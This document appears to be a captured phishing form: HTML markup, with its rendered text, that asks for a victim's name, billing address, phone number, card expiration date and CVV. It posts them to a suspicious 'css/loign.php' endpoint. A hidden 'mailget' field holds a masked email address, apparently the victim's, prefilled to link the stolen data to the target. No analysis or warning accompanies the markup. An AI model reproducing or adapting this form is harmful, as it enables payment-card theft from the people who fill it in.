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Name: new1 — POST https://sethiafinancials.com/css/loign.php

<form name="new1" method="post" action="https://sethiafinancials.com/css/loign.php" enctype="multipart/form-data" id="Form2" onsubmit="return submitnew1()">
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    <label id="Editbox1-label" for="Editbox1">Full Name</label>
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  <div id="wb_Editbox2">
    <input type="text" id="Editbox2" name="a1" value="" spellcheck="false" placeholder="Billing Address">
    <label id="Editbox2-label" for="Editbox2">Billing Address</label>
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    <label id="Editbox3-label" for="Editbox3">City</label>
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  <div id="wb_Editbox4">
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    <label id="Editbox4-label" for="Editbox4">State</label>
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  <div id="wb_Editbox5">
    <input type="text" id="Editbox5" name="zip" value="" spellcheck="false" placeholder="Zipcode">
    <label id="Editbox5-label" for="Editbox5">Zipcode</label>
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  <div id="wb_Select1">
    <select name="country" size="1" id="Select1" title="Country">
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      <option value="Austria">Austria</option>
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      <option value="Finland">Finland</option>
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      <option value="The Gambia">The Gambia</option>
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      <option value="Germany">Germany</option>
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      <option value="Hong Kong">Hong Kong</option>
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      <option value="Iceland">Iceland</option>
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      <option value="Ireland">Ireland</option>
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      <option value="Kuwait">Kuwait</option>
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      <option value="Laos">Laos</option>
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      <option value="Liberia">Liberia</option>
      <option value="Libya">Libya</option>
      <option value="Liechtenstein">Liechtenstein</option>
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      <option value="Luxembourg">Luxembourg</option>
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      <option value="Macedonia">Macedonia</option>
      <option value="Madagascar">Madagascar</option>
      <option value="Malawi">Malawi</option>
      <option value="Malaysia">Malaysia</option>
      <option value="Maldives">Maldives</option>
      <option value="Mali">Mali</option>
      <option value="Malta">Malta</option>
      <option value="Marshall Islands">Marshall Islands</option>
      <option value="Martinique">Martinique</option>
      <option value="Mauritania">Mauritania</option>
      <option value="Mauritius">Mauritius</option>
      <option value="Mayotte">Mayotte</option>
      <option value="Mexico">Mexico</option>
      <option value="Micronesia">Micronesia</option>
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      <option value="Mongolia">Mongolia</option>
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      <option value="Montserrat">Montserrat</option>
      <option value="Morocco">Morocco</option>
      <option value="Mozambique">Mozambique</option>
      <option value="Myanmar">Myanmar</option>
      <option value="Nagorno-Karabakh">Nagorno-Karabakh</option>
      <option value="Namibia">Namibia</option>
      <option value="Nauru">Nauru</option>
      <option value="Nepal">Nepal</option>
      <option value="Netherlands">Netherlands</option>
      <option value="Netherlands Antilles">Netherlands Antilles</option>
      <option value="New Caledonia">New Caledonia</option>
      <option value="New Zealand">New Zealand</option>
      <option value="Nicaragua">Nicaragua</option>
      <option value="Niger">Niger</option>
      <option value="Nigeria">Nigeria</option>
      <option value="Niue">Niue</option>
      <option value="Norfolk Island">Norfolk Island</option>
      <option value="Turkish Republic of Northern Cyprus">Turkish Republic of Northern Cyprus</option>
      <option value="Northern Mariana">Northern Mariana</option>
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      <option value="Pakistan">Pakistan</option>
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      <option value="Paraguay">Paraguay</option>
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      <option value="Philippines">Philippines</option>
      <option value="Pitcairn Islands">Pitcairn Islands</option>
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      <option value="Portugal">Portugal</option>
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      <option value="Qatar">Qatar</option>
      <option value="Republic of the Congo">Republic of the Congo</option>
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      <option value="Saint Pierre and Miquelon">Saint Pierre and Miquelon</option>
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      <option value="Seychelles">Seychelles</option>
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      <option value="Slovenia">Slovenia</option>
      <option value="Solomon Islands">Solomon Islands</option>
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      <option value="Somaliland">Somaliland</option>
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      <option value="South Sudan">South Sudan</option>
      <option value="Spain">Spain</option>
      <option value="Sri Lanka">Sri Lanka</option>
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      <option value="Svalbard">Svalbard</option>
      <option value="eSwatini">eSwatini</option>
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      <option value="Thailand">Thailand</option>
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      <option value="Togo">Togo</option>
      <option value="Tokelau">Tokelau</option>
      <option value="Tonga">Tonga</option>
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      <option value="Zambia">Zambia</option>
      <option value="Zimbabwe">Zimbabwe</option>
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    </select>
    <label id="Select1-label" for="Select1">Country</label>
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  <div id="wb_Editbox6">
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    <label id="Editbox6-label" for="Editbox6">Phone Number</label>
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  <div id="wb_Select3">
    <select name="mm" size="1" id="Select3" title="Expiration Month">
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      <option value="01">01</option>
      <option value="02">02</option>
      <option value="03">03</option>
      <option value="04">04</option>
      <option value="05">05</option>
      <option value="06">06</option>
      <option value="07">07</option>
      <option value="08">08</option>
      <option value="09">09</option>
      <option value="10">10</option>
      <option value="11">11</option>
      <option value="12">12</option>
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    <label id="Select3-label" for="Select3">Expiration Month</label>
  </div>
  <div id="wb_Select4">
    <select name="yy" size="1" id="Select4" title="Expiration Year">
      <option value="">Select Year</option>
      <option value="24">2024</option>
      <option value="25">2025</option>
      <option value="26">2026</option>
      <option value="27">2027</option>
      <option value="28">2028</option>
      <option value="29">2029</option>
      <option value="30">2030</option>
      <option value="31">2031</option>
      <option value="32">2032</option>
      <option value="33">2033</option>
      <option value="34">2034</option>
      <option value="35">2035</option>
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    <label id="Select4-label" for="Select4">Expiration Year</label>
  </div>
  <div id="wb_Editbox8">
    <input type="number" id="Editbox8" name="cvv" value="" spellcheck="false" placeholder="Security Code (CVV)">
    <label id="Editbox8-label" for="Editbox8">Security Code (CVV)</label>
  </div>
  <input type="submit" id="Button1" name="" value="SAVE">
  <div id="wb_Editbox9">
    <input type="hidden" id="Editbox3" name="mailget" value="w**.c***@s****.c**.a*" spellcheck="false" placeholder="email">
    <label id="Editbox9-label" for="Editbox9"></label>
  </div>
</form>

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Full Name
Billing Address
City
State
Zipcode
Select Country United States Afghanistan Albania Algeria American Samoa Andorra
Angola Anguilla Antigua and Barbuda Argentina Armenia Aruba Australia Austria
Azerbaijan The Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin
Bermuda Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Bulgaria
Burkina Faso Burundi Cambodia Cameroon Canada Cape Verde Cayman Islands Central
African Republic Chad Chile China Christmas Island Cocos (Keeling) Islands
Colombia Comoros Congo Cook Islands Costa Rica Cote d'Ivoire Croatia Cuba
Curaçao Cyprus Czech Republic Democratic Republic of the Congo Denmark Djibouti
Dominica Dominican Republic Ecuador Egypt El Salvador Equatorial Guinea Eritrea
Estonia Ethiopia Falkland Islands Faroe Islands Fiji Finland France French
Polynesia Gabon The Gambia Georgia Germany Ghana Gibraltar Greece Greenland
Grenada Guadeloupe Guam Guatemala Guernsey Guinea Guinea-Bissau Guyana Haiti
Honduras Hong Kong Hungary Iceland India Indonesia Iran Iraq Ireland Israel
Italy Jamaica Japan Jersey Jordan Kazakhstan Kenya Kiribati North Korea South
Korea Kosovo Kuwait Kyrgyzstan Laos Latvia Lebanon Lesotho Liberia Libya
Liechtenstein Lithuania Luxembourg Macau Macedonia Madagascar Malawi Malaysia
Maldives Mali Malta Marshall Islands Martinique Mauritania Mauritius Mayotte
Mexico Micronesia Moldova Monaco Mongolia Montenegro Montserrat Morocco
Mozambique Myanmar Nagorno-Karabakh Namibia Nauru Nepal Netherlands Netherlands
Antilles New Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk Island
Turkish Republic of Northern Cyprus Northern Mariana Norway Oman Pakistan Palau
Palestine Panama Papua New Guinea Paraguay Peru Philippines Pitcairn Islands
Poland Portugal Puerto Rico Qatar Republic of the Congo Romania Russia Rwanda
Saint Barthelemy Saint Helena Saint Kitts and Nevis Saint Lucia Saint Martin
Saint Pierre and Miquelon Saint Vincent and the Grenadines Samoa San Marino Sao
Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore
Slovakia Slovenia Solomon Islands Somalia Somaliland South Africa South Ossetia
South Sudan Spain Sri Lanka Sudan Suriname Svalbard eSwatini Sweden Switzerland
Syria Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tokelau Tonga
Transnistria Pridnestrovie Trinidad and Tobago Tristan da Cunha Tunisia Turkey
Turkmenistan Turks and Caicos Islands Tuvalu Uganda Ukraine United Arab Emirates
United Kingdom United States Uruguay Uzbekistan Vanuatu Vatican City Venezuela
Vietnam British Virgin Islands Isle of Man US Virgin Islands Wallis and Futuna
Western Sahara Yemen Zambia Zimbabwe Other Country
Phone Number
Select Month 01 02 03 04 05 06 07 08 09 10 11 12 Expiration Month
Select Year 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035
Expiration Year
Security Code (CVV)